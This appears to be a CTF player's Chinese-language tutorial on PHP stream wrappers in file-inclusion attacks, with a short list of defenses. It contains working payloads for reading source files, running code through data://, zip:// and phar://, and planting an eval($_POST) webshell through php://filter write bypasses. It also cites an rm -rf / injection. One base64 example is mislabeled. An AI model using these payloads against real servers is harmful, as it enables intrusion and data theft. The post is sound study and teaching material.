a ctfer on the load

定义#

PHP伪协议（PHP Wrappers）是PHP内置的特殊协议/方案，允许通过统一的URL结构或数据流方式访问不同类型的资源（本地文件、远程数据、输入输出流等）。其核心作用是通过特定前缀（如file://、php://）让PHP以不同方式处理数据，广泛应用于文件操作、流处理等场景。

伪协议的执行依赖PHP配置参数：

• allow_url_fopen：控制是否允许打开URL文件（On/Off）；

• allow_url_include：控制是否允许引用URL文件（On/Off）。
  不同协议对这两个参数的依赖不同（具体见各协议说明）。

• php://output：直接向HTTP响应输出内容，通过流控制输出（区别于echo的即时打印）。

• php://stderr：向标准错误流输出错误信息，用于日志记录，避免错误直接暴露在Web页面。

过滤器流：php://filter#

• 作用：对文件内容进行过滤、转换或解码（如编码、压缩、加密），无需修改文件本身。
• 基本格式：php://filter/[read=过滤器链]/resource=目标文件
  • read=过滤器链：可选，指定读取时的过滤器（如convert.base64-encode）。
  • resource：必需，指定目标文件路径。
• 常见过滤器：

  类型	过滤器示例	作用
  字符串过滤器	string.rot13	ROT13编码/解码（字母轮换13位）
  	string.toupper	内容转为大写
  	string.strip_tags	去除HTML/PHP标签（防XSS）
  转换过滤器	convert.base64-encode	Base64编码文件内容
  	convert.base64-decode	Base64解码文件内容
  压缩过滤器	zlib.deflate	Deflate算法压缩内容
  	zlib.inflate	解压Deflate压缩内容

• 用法示例：
  • 读取Base64编码的flag.php：?file=php://filter/convert.base64-encode/resource=flag.php
  • ROT13编码读取：?file=php://filter/read=string.rot13/resource=flag.php

内存与临时文件流：php://memory、php://temp#

• php://memory：操作内存中的虚拟文件，数据存储在内存中，脚本结束后丢失，性能高效（内存操作快于磁盘）。
• php://temp：数据先存内存，超出限制（通常2MB）后自动切换到磁盘，避免内存溢出，脚本结束后数据丢失。

伪文件流：php://fd#

• 作用：直接与操作系统文件描述符交互（文件描述符是打开文件/设备的整数标识符），用于低级文件操作。

zip:// 协议#

• 作用：处理ZIP压缩文件中的子文件，支持任意后缀名（如将test.zip改为test.jpg仍可访问）。
• 基本格式：zip://绝对路径/压缩文件%23子文件名（%23是#的URL编码）。
• 用法示例：
  压缩shell.php为test.zip，改名为test.xxx，通过?file=zip:///var/www/test.xxx%23shell.php执行代码。
• 配置依赖：不受allow_url_fopen和allow_url_include影响。

data:// 协议#

• 作用：通过Data URI方案嵌入数据，无需文件系统即可处理数据，支持直接执行PHP代码。
• 基本格式：data://text/plain,[数据] 或 data://text/plain;base64,[Base64编码数据]。
• 用法示例：
  • 直接执行代码：?file=data://text/plain,<?php phpinfo();?>
  • Base64编码执行：?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
• 配置依赖：需allow_url_fopen=On和allow_url_include=On。

glob:// 协议#

• 作用：查找匹配的文件路径模式（如批量匹配*.php文件）。
• 用法示例：glob:///var/www/*.php（列出目录下所有PHP文件）。

phar:// 协议#

• 作用：访问PHP归档文件（Phar，类似ZIP/TAR）中的资源，支持ZIP格式压缩包。
• 基本格式：phar://绝对路径/压缩包/子文件。
• 用法示例：?file=phar://test.zip/shell.php（读取压缩包内的shell.php）。
• 配置依赖：PHP版本≥5.3.0，不受allow_url_fopen和allow_url_include影响。

其他协议（ssh2://、rar://、ogg://、expect://）#

• ssh2://：通过SSH2协议访问远程资源。
• rar://：处理RAR压缩文件中的子文件。
• ogg://：访问音频流资源。
• expect://：处理交互式流（如命令交互）。

主要安全风险#

• 代码注入：通过php://input、data://等协议注入恶意代码（如<?php system('rm -rf /');?>）。
• 信息泄露：未过滤的file://、php://filter可能泄露服务器敏感文件（如/etc/passwd、源码）。
• 远程文件包含（RFI）：http://、ftp://等协议可执行远程恶意脚本。
• 目录遍历：结合../与file://访问未授权路径。

防御措施#

• 输入验证与过滤：严格校验用户输入的文件路径，限制仅访问合法文件。
• 禁用危险配置：在php.ini中设置allow_url_fopen=Off和allow_url_include=Off，禁用远程资源访问。
• 限制文件访问范围：通过open_basedir配置PHP可访问的基目录，禁止跨目录访问。
• 禁用危险函数：限制include、file_get_contents等函数的使用，或通过disable_functions禁用风险函数。
• 错误处理优化：配置错误日志记录，避免敏感信息（如文件路径）直接显示在Web页面。

base64编码绕过#

• 原理：利用php://filter的convert.base64-decode过滤器，将恶意代码Base64编码后写入，解码时覆盖exit()。
• 示例：

  1
  filename=php://filter/convert.base64-decode/resource=a.php
  2
  content=aPD9waHAgcGhwaW5mbygpOz8+ （前加"a"补全Base64字节，实际解码为<?=@eval($_POST[a]);?>）
  

ROT13编码绕过#

• 原理：用string.rot13过滤器对恶意代码ROT13编码，解码后还原代码，规避exit()。
• 示例：

  1
  filename=php://filter/string.rot13/resource=a.php
  2
  content=<?=@riny($_CBFG[n]);?> （ROT13编码后，解码为<?=@eval($_POST[a]);?>）
  

.htaccess预包含利用#

• 原理：用string.strip_tags过滤器去除.htaccess中的PHP标签，设置auto_prepend_file预包含恶意文件。

• 示例：

  1
  filename=php://filter/write=string.strip_tags/resource=.htaccess
  2
  content=?>php_value auto_prepend_file E:\\web\\flagg （去除标签后生效，路径用双反斜杠）
  

  • 限制：仅PHP5支持string.strip_tags写入过滤。

过滤器组合绕过#

• 原理：通过压缩-转小写-解压过滤器链破坏exit()代码结构。

• 示例：

  1
  filename=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=a.php
  2
  content=php://filter/... （压缩后转小写再解压，使`exit()`失效）
  

  • 限制：PHP7.3.0以上版本可能报错，低版本有效。